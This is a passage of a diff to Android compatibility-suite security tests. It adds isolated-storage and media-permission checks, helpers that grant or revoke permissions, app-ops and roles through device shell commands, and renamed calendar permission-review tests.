+                runDeviceTests(PKG_B, CLASS, "testExternalStorageIsolatedRead", user);
+            }
+        } finally {
+            getDevice().uninstallPackage(PKG_A);
+            getDevice().uninstallPackage(PKG_B);
+        }
+    }
+
+    /**
      * Test multi-user emulated storage environment, ensuring that each user has
      * isolated storage.
      */
@@ -227,6 +294,9 @@
      */
     @Test
     public void testMultiViewMoveConsistency() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeFalse(hasIsolatedStorage());
+
         try {
             wipePrimaryExternalStorage();
 
@@ -281,7 +351,7 @@
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
 
             for (int user : mUsers) {
-                enableWriteSettings(WRITE_PKG, user);
+                updateAppOp(WRITE_PKG, user, "android:write_settings", true);
                 runDeviceTests(
                         WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testChangeDefaultUris", user);
 
@@ -332,25 +402,78 @@
         }
     }
 
+    @Test
+    public void testMediaNone() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(hasIsolatedStorage());
+
+        installPackage(MEDIA_APK);
+        for (int user : mUsers) {
+            updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, false);
+            updateRole(MEDIA_PKG, user, ROLE_GALLERY, false);
+
+            runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaNone", user);
+        }
+    }
+
+    @Test
+    public void testMediaRead() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(hasIsolatedStorage());
+
+        installPackage(MEDIA_APK);
+        for (int user : mUsers) {
+            updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, true);
+            updateRole(MEDIA_PKG, user, ROLE_GALLERY, false);
+
+            runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaRead", user);
+        }
+    }
+
+    @Test
+    public void testMediaWrite() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(hasIsolatedStorage());
+
+        installPackage(MEDIA_APK);
+        for (int user : mUsers) {
+            updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, true);
+            updateRole(MEDIA_PKG, user, ROLE_GALLERY, true);
+
+            runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaWrite", user);
+        }
+    }
+
     private boolean access(String path) throws DeviceNotAvailableException {
         final long nonce = System.nanoTime();
         return getDevice().executeShellCommand("ls -la " + path + " && echo " + nonce)
                 .contains(Long.toString(nonce));
     }
 
-    private void enableWriteSettings(String packageName, int userId)
-            throws DeviceNotAvailableException {
-        StringBuilder cmd = new StringBuilder();
-        cmd.append("appops set --user ");
-        cmd.append(userId);
-        cmd.append(" ");
-        cmd.append(packageName);
-        cmd.append(" android:write_settings allow");
-        getDevice().executeShellCommand(cmd.toString());
-        try {
-            Thread.sleep(2200);
-        } catch (InterruptedException e) {
-        }
+    private void updatePermission(String packageName, int userId, String permission, boolean grant)
+            throws Exception {
+        final String verb = grant ? "grant" : "revoke";
+        getDevice().executeShellCommand(
+                "cmd package " + verb + " --user " + userId + " " + packageName + " " + permission);
+    }
+
+    private void updateAppOp(String packageName, int userId, String appOp, boolean allow)
+            throws Exception {
+        final String verb = allow ? "allow" : "default";
+        getDevice().executeShellCommand(
+                "cmd appops set --user " + userId + " " + packageName + " " + appOp + " " + verb);
+    }
+
+    private void updateRole(String packageName, int userId, String role, boolean add)
+            throws Exception {
+        final String verb = add ? "add-role-holder" : "remove-role-holder";
+        getDevice().executeShellCommand(
+                "cmd role " + verb + " --user " + userId + " " + role + " " + packageName);
+    }
+
+    private boolean hasIsolatedStorage() throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand("getprop persist.sys.isolated_storage")
+                .contains("true");
     }
 
     private void wipePrimaryExternalStorage() throws DeviceNotAvailableException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index e5c9aba..3f76502 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -36,7 +36,7 @@
     private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
 
     private static final String APK_22 = "CtsUsePermissionApp22.apk";
-    private static final String APK_22_ONLY_STORAGE = "RequestsOnlyStorageApp22.apk";
+    private static final String APK_22_ONLY_CALENDAR = "RequestsOnlyCalendarApp22.apk";
     private static final String APK_23 = "CtsUsePermissionApp23.apk";
     private static final String APK_25 = "CtsUsePermissionApp25.apk";
     private static final String APK_26 = "CtsUsePermissionApp26.apk";
@@ -461,54 +461,54 @@
                 "locationPermissionIsNotSplit");
     }
 
-    public void testDenyStorageDuringReview() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+    public void testDenyCalendarDuringReview() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
                 false));
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
                 true));
 
-        runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyStoragePermissions");
+        runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyCalendarPermissions");
 
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
-                "testAssertNoStorageAccess");
+                "testAssertNoCalendarAccess");
     }
 
-    public void testDenyGrantStorageDuringReview() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+    public void testDenyGrantCalendarDuringReview() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
                 false));
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
                 true));
 
-        runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyGrantStoragePermissions");
+        runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyGrantCalendarPermissions");
 
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
-                "testAssertStorageAccess");
+                "testAssertCalendarAccess");
     }
 
-    public void testDenyGrantDenyStorageDuringReview() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+    public void testDenyGrantDenyCalendarDuringReview() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
                 false));
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
                 true));
 
         runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
-                "denyGrantDenyStoragePermissions");
+                "denyGrantDenyCalendarPermissions");
 
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
-                "testAssertNoStorageAccess");
+                "testAssertNoCalendarAccess");
     }
 
     public void testCancelReview() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
                 false));
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
                 true));
 
-        // Start APK_22_ONLY_STORAGE, but cancel review
+        // Start APK_22_ONLY_CALENDAR, but cancel review
         runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
                 "cancelReviewPermissions");
 
-        // Start APK_22_ONLY_STORAGE again, now approve review
+        // Start APK_22_ONLY_CALENDAR again, now approve review
         runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "approveReviewPermissions");
 
         runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 2265dec..3fd47d8 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -438,6 +438,8 @@
 
         final ContentResolver contentResolver =
                 InstrumentationRegistry.getContext().getContentResolver();
+	// TODO(b/120026065): Re-enable this when we fine a more reliable way to toggle the setting
+	/*
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
@@ -448,7 +450,7 @@
                 startViewIntent.addCategory(Intent.CATEGORY_BROWSABLE);
                 startViewIntent.setData(Uri.parse("https://cts.google.com/ephemeral"));
                 InstrumentationRegistry.getContext().startActivity(
-                        startViewIntent, null /*options*/);
+                        startViewIntent, null);
                 final TestResult testResult = getResult();
                 fail();
             } catch (TestResultNotFoundException expected) {
@@ -461,7 +463,7 @@
                         .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                                 | Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
                 InstrumentationRegistry.getContext().startActivity(
-                        startEphemeralIntent, null /*options*/);
+                        startEphemeralIntent, null);
                 final TestResult testResult = getResult();
                 assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
                 assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
@@ -470,6 +472,7 @@
         } finally {
             Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, originalSetting);
         }
+	*/
 
         // connect to the instant app provider
         {
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk
new file mode 100644
index 0000000..efb4bce
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := test_current
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsMediaStorageApp
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
new file mode 100644
index 0000000..dd0e218
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.mediastorageapp">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StubActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.APP_GALLERY" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.mediastorageapp" />
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
new file mode 100644
index 0000000..b0aa2a4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mediastorageapp;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.HashSet;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStorageTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+    }
+
+    @Test
+    public void testMediaNone() throws Exception {
+        final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+        final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+        clearMediaOwner(blue);
+
+        // Since we have no permissions, we should only be able to see media
+        // that we've contributed
+        final HashSet<Long> seen = new HashSet<>();
+        try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                new String[] { MediaColumns._ID }, null, null)) {
+            while (c.moveToNext()) {
+                seen.add(c.getLong(0));
+            }
+        }
+
+        assertTrue(seen.contains(ContentUris.parseId(red)));
+        assertFalse(seen.contains(ContentUris.parseId(blue)));
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+            fail("Expected read access to be blocked");
+        } catch (SecurityException | FileNotFoundException expected) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+            fail("Expected write access to be blocked");
+        } catch (SecurityException | FileNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testMediaRead() throws Exception {
+        final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+        final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+        clearMediaOwner(blue);
+
+        // Holding read permission we can see items we don't own
+        final HashSet<Long> seen = new HashSet<>();
+        try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                new String[] { MediaColumns._ID }, null, null)) {
+            while (c.moveToNext()) {
+                seen.add(c.getLong(0));
+            }
+        }
+
+        assertTrue(seen.contains(ContentUris.parseId(red)));
+        assertTrue(seen.contains(ContentUris.parseId(blue)));
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+            fail("Expected write access to be blocked");
+        } catch (SecurityException | FileNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testMediaWrite() throws Exception {
+        final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+        final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+        clearMediaOwner(blue);
+
+        // Holding read permission we can see items we don't own
+        final HashSet<Long> seen = new HashSet<>();
+        try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                new String[] { MediaColumns._ID }, null, null)) {
+            while (c.moveToNext()) {
+                seen.add(c.getLong(0));
+            }
+        }
+
+        assertTrue(seen.contains(ContentUris.parseId(red)));
+        assertTrue(seen.contains(ContentUris.parseId(blue)));
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+        }
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+        }
+    }
+
+    private static Uri createImage(Uri collectionUri) throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                collectionUri, displayName, "image/png");
+        final Uri pendingUri = MediaStore.createPending(context, params);
+        try (MediaStore.PendingSession session = MediaStore.openPending(context, pendingUri)) {
+            try (OutputStream out = session.openOutputStream()) {
+                final Bitmap bitmap = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888);
+                bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+            }
+            return session.publish();
+        }
+    }
+
+    private static void clearMediaOwner(Uri uri) throws IOException {
+        try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                        "content update --uri " + uri + " --bind owner_package_name:n:"))) {
+            while (is.read() != -1) {
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
similarity index 96%
rename from hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk
rename to hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
index d862142..4bb835d 100644
--- a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
@@ -33,7 +33,7 @@
     ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
 LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res
 
-LOCAL_PACKAGE_NAME := RequestsOnlyStorageApp22
+LOCAL_PACKAGE_NAME := RequestsOnlyCalendarApp22
 
 # For ACCESS_BACKGROUND_LOCATION
 LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
similarity index 88%
rename from hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
index 805bc9b..d19206e 100644
--- a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
@@ -20,8 +20,9 @@
 
     <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="22" />
 
-    <!-- Storage -->
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <!-- Calendar -->
+    <uses-permission android:name="android.permission.READ_CALENDAR"/>
+    <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
index c5022b5..7d76a01 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
@@ -87,49 +87,49 @@
     }
 
     @Test
-    fun denyGrantDenyStoragePermissions() {
+    fun denyGrantDenyCalendarPermissions() {
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
         // Confirm deny
         uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
 
         // Grant
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
 
         // Deny
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
 
         uiDevice.waitForIdle()
         clickContinue()
     }
 
     @Test
-    fun denyGrantStoragePermissions() {
+    fun denyGrantCalendarPermissions() {
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
         // Confirm deny
         uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
 
         // Grant
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
 
         uiDevice.waitForIdle()
         clickContinue()
     }
 
     @Test
-    fun denyStoragePermissions() {
+    fun denyCalendarPermissions() {
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
         // Confirm deny
         uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 2fa5a99..710b38c 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -47,9 +47,14 @@
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 
 import java.io.File;
 import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
 import java.util.UUID;
 
 /**
@@ -246,4 +251,61 @@
         try { sm.setCacheBehaviorTombstone(ext, true); fail(); } catch (IOException expected) { }
         try { sm.setCacheBehaviorTombstone(ext, false); fail(); } catch (IOException expected) { }
     }
+
+    /**
+     * Create "cts" probe files in every possible common storage location that
+     * we can think of.
+     */
+    public void testExternalStorageIsolatedWrite() throws Exception {
+        final Context context = getContext();
+        final List<File> paths = new ArrayList<File>();
+        Collections.addAll(paths, Environment.getExternalStorageDirectory());
+        Collections.addAll(paths,
+                Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES));
+        Collections.addAll(paths, context.getExternalCacheDirs());
+        Collections.addAll(paths, context.getExternalFilesDirs(null));
+        Collections.addAll(paths, context.getExternalFilesDirs(Environment.DIRECTORY_PICTURES));
+        Collections.addAll(paths, context.getExternalMediaDirs());
+        Collections.addAll(paths, context.getObbDirs());
+
+        final String name = "cts_" + System.nanoTime();
+        for (File path : paths) {
+            final File otherPath = new File(path.getAbsolutePath()
+                    .replace("com.android.cts.storageapp_a", "com.android.cts.storageapp_b"));
+
+            path.mkdirs();
+            otherPath.mkdirs();
+
+            final File file = new File(path, name);
+            final File otherFile = new File(otherPath, name);
+
+            file.createNewFile();
+            otherFile.createNewFile();
+
+            assertTrue(file.exists());
+            assertTrue(otherFile.exists());
+        }
+    }
+
+    /**
+     * Verify that we can't see any of the "cts" probe files created above,
+     * since our storage should be fully isolated.
+     */
+    public void testExternalStorageIsolatedRead() throws Exception {
+        final LinkedList<File> traverse = new LinkedList<>();
+        traverse.push(Environment.getStorageDirectory());
+        traverse.push(Environment.getExternalStorageDirectory());
+
+        while (!traverse.isEmpty()) {
+            final File dir = traverse.poll();
+            for (File f : dir.listFiles()) {
+                if (f.getName().startsWith("cts_")) {
+                    fail("Found leaked file " + f.getAbsolutePath());
+                }
+                if (f.isDirectory()) {
+                    traverse.push(f);
+                }
+            }
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
index 6675383..ada3d19 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
@@ -1,4 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
     <string name="Permissions">Permissions</string>
+    <string name="Deny">Deny</string>
+    <string name="Allow">Allow</string>
+    <string name="AllowAll">Allow all the time</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
index dbfc349..1c2427a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
@@ -16,21 +16,26 @@
 
 package com.android.cts.usepermission;
 
-import static junit.framework.Assert.assertEquals;
-
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertMediaNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertMediaReadWriteAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.logCommand;
+
+import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertTrue;
 
 import android.Manifest;
+import android.content.ContentValues;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
 import android.os.Environment;
 import android.os.Process;
+import android.provider.CalendarContract;
+
 import org.junit.Test;
 
 import java.io.File;
@@ -176,12 +181,32 @@
     }
 
     @Test
-    public void testAssertNoStorageAccess() throws Exception {
-        assertNoStorageAccess();
+    public void testAssertNoCalendarAccess() throws Exception {
+        // Without access we're handed back a "fake" Uri that doesn't contain
+        // any of the data we tried persisting
+        final Uri uri = insertCalendarItem();
+        try (Cursor c = mContext.getContentResolver().query(uri, null, null, null)) {
+            assertEquals(0, c.getCount());
+        }
     }
 
     @Test
-    public void testAssertStorageAccess() {
-        assertEquals(Environment.MEDIA_MOUNTED, Environment.getExternalStorageState());
+    public void testAssertCalendarAccess() {
+        final Uri uri = insertCalendarItem();
+        try (Cursor c = mContext.getContentResolver().query(uri, null, null, null)) {
+            assertEquals(1, c.getCount());
+        }
+    }
+
+    /**
+     * Attempt to insert a new unique calendar item; this might be ignored if
+     * this legacy app has its permission revoked.
+     */
+    private Uri insertCalendarItem() {
+        final ContentValues values = new ContentValues();
+        values.put(CalendarContract.Calendars.NAME, "cts" + System.nanoTime());
+        values.put(CalendarContract.Calendars.CALENDAR_DISPLAY_NAME, "cts");
+        values.put(CalendarContract.Calendars.CALENDAR_COLOR, 0xffff0000);
